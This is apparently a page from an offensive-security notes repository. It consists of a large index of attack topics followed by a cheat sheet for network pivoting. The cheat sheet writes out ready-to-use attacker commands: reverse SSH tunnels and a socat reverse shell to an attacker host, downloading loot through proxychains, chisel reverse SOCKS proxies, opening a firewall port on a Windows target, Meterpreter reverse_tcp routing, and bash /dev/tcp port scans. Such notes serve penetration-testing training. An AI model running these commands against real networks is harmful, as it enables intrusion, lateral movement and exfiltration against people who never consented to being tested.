Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Pivoting
  - Enumeration
    - Using material found on the machine and preinstalled tools
    - Scripting Techniques
  - Tools
    - Proxychains / FoxyProxy
- add proxy here ...
- meanwhile
- defaults set to "tor"
- socks5 127.0.0.1 1337
- proxy_dns
  - SSH port forwarding and tunnelling (primarily Unix)
  - plink.exe (Windows)
  - Socat
  - Chisel
  - sshuttle
  - Meterpreter
    - Meterpreter Auto Routing
    - Meterpreter Proxy Routing
  - rpivot
  - Links

# Pivoting

- Tunnelling/Proxying
- Port Forwarding

## Enumeration

### Using material found on the machine and preinstalled tools

- `arp -a`
- `/etc/hosts` or `C:\Windows\System32\drivers\etc\hosts`
- `/etc/resolv.conf`
- `ipconfig /all`
- `nmcli dev show`
- Statically compiled tools

### Scripting Techniques

    for i in {1..255}; do (ping -c 1 192.168.0.${1} | grep "bytes from" &); done
    for i in {1..65535}; do (echo > /dev/tcp/192.168.0.1/$i) >/dev/null 2>&1 && echo $i is open; done

- Using local tools through a proxy like `nmap`

## Tools

- Enumerating a network using native and statically compiled tools

### Proxychains / FoxyProxy

- In need of dynamic port forwarding execute a reverse proxy on the jumpserver to reach the attacker's proxychains `sh ssh <username>@$ATTACKER_IP -R 9050 -N`
- Proxychains, e.g. scan target via nmap, or connect via nc through jump server `sh proxychains nc <IP> <PORT> proychains nmap <IP> proxychains ssh user@$TARGET_IP proxychains evil-winrm -i $TARGET_IP -u $USER -p $PASS proxychains wget http://$TARGET_IP:8000/loot.zip`
  - Use `/etc/proxychains.conf` or `./proxychains.conf`containing: ```sh [ProxyList]

  # add proxy here ...

  # meanwhile

  # defaults set to "tor"

  socks4 127.0.0.1 9050

  # socks5 127.0.0.1 1337

  # proxy_dns

  ```

- FoxyProxy, choose proxy type, proxy IP and port in settings

### SSH port forwarding and tunnelling (primarily Unix)

- LocalPortForwarding `sh ssh -L $LOCAL_PORT:<IP_seen_from_Jumpserver>:<Port_seen_from_Jumpserver> <user>@<Jumpserver> -fN`

  - Another possibility to use the jumpserver directly on it's cli via `ssh <username>@<jumpserver> -L *:$LOCAL_PORT:127.0.0.1:80 -N`. One can connect now to the target via the jumpserver
  - Tip: open port on windows target via `sh netsh advfirewall firewall add rule name="new port" dir=in action=allow protocol=TCP localport=%PORT%`

- Dynamic Port Forwarding `sh ssh -D $PORT <user>@<Jumpserver> -fN`

- Reverse Proxy, if there is an SSH client on the jumpserver but no SSH server via `sh ssh -R $LOCAL_PORT:$TARGET_IP:$TARGET_PORT USERNAME@$ATTACKER_IP(local) -i $KEYFILE -fN`

  - Tip1: create a user on the attacker to receive the connection without compromising your own password
  - Tip2: use `-N` to not receive an interactive shell. The attacking user does not necessarily have one on the target

### plink.exe (Windows)

- latest version

    cmd.exe /c echo y | .\plink.exe -R <LocalPort>:<TargetIP>:<TargetPort> <user>@<Jumpserver> -i <key> -N

- Key generation `sh puttygen <keyfile> -o key.ppk`
- Circumvention, described by U.Y.

    echo y | &.\plink.exe -ssh -l <MYUSERNAME> -pw <MYPASSWORD> -R <MYIP>:<MYPORT>:127.0.0.1:<TARGETPORT> <MYIP>

### Socat

- Reverse shell on target via `sh ./socat tcp-l:8000 tcp:<attacker-IP>:443 &`

  - Attacking bind shell `sh sudo nc -lvnp 443`

- Relay on jumpserver via `sh ./socat tcp-l:33060,fork,reuseaddr tcp:<TargetIP>:3306 &`

- Quiet Port Forwarding

  - On attacker `sh socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &`
  - On relay server `sh ./socat tcp:<attacker-IP>:8001 tcp:<TargetIP>:<TargetPort>,fork &`
  - Open `localhost:8000`

- Processes are backgrounded via `&`. Therefore, the process can be quit by using the corresponding bg number like `kill %1`.

- In need of a Download on target, expose a port on the attacker via relay `sh socat tcp-l:80,fork tcp:$ATTACKER_IP:80`

### Chisel

- Does not require SSH on target

- Reverse Proxy

  - Bind port on attacker `sh ./chisel server -p <ListeningPort> --reverse &`
  - Reverse port on target/proxy `sh ./chisel client <attacker-IP>:<attacker-Port> R:socks &`
  - `proxychains.conf` contains `sh [ProxyList] socks5 127.0.0.1 <Listening-Port>`

- Forward SOCKS Proxy

  - Proxy/compromised machine `sh ./chisel server -p <Listen-Port> --socks5`
  - On attacker `sh ./chisel client <target-IP>:<target-Port> <proxy-Port>:socks`
- Remote Port Forward
  - On attacker `sh ./chisel server -p <Listen-Port> --reverse &`
  - On forwarder `sh ./chisel client <attacker-IP>:<attackerListen-Port> R:<Forwarder-Port>:<target-IP>:<target-Port> &`
- Local Port Forwarding
  - On proxy `sh ./chisel server -p <Listen-Port>`
  - On attacker `sh ./chisel client <Listen-IP>:<Listen-Port> <attacker-IP>:<target-IP>:<target-Port>`

### sshuttle

- `pip install sshuttle`
- `sshuttle -r <user>@<target> <subnet/CIDR>`
- or automatically determined

    sshuttle -r <user>@<target> -N

- Key based auth

    sshuttle -r <user>@<target> --ssh-cmd "ssh -i <key>" <subnet/CIDR>

- Exclude servers via `-x`, for example the target/gateway server

### Meterpreter

- Meterpreter with payload `set payload linux/x64/meterpreter_reverse_tcp` after successful connection do

    portfwd add -l 22 -p 22 -r 127.0.0.1

#### Meterpreter Auto Routing

- Upload payload and catch it with `multi/handler`

    background
    use post/multi/manage/autoroute
    set session 1
    set subnet <10.0.0.0>
    run

#### Meterpreter Proxy Routing

- Specify socks proxy via

    use auxiliary/server/socks_proxy

- Set proxychain on attacker accordingly

### rpivot

- klsecservices' repo
- Their windows binary release

## Links

- Shadowmove at the adepts of 0xcc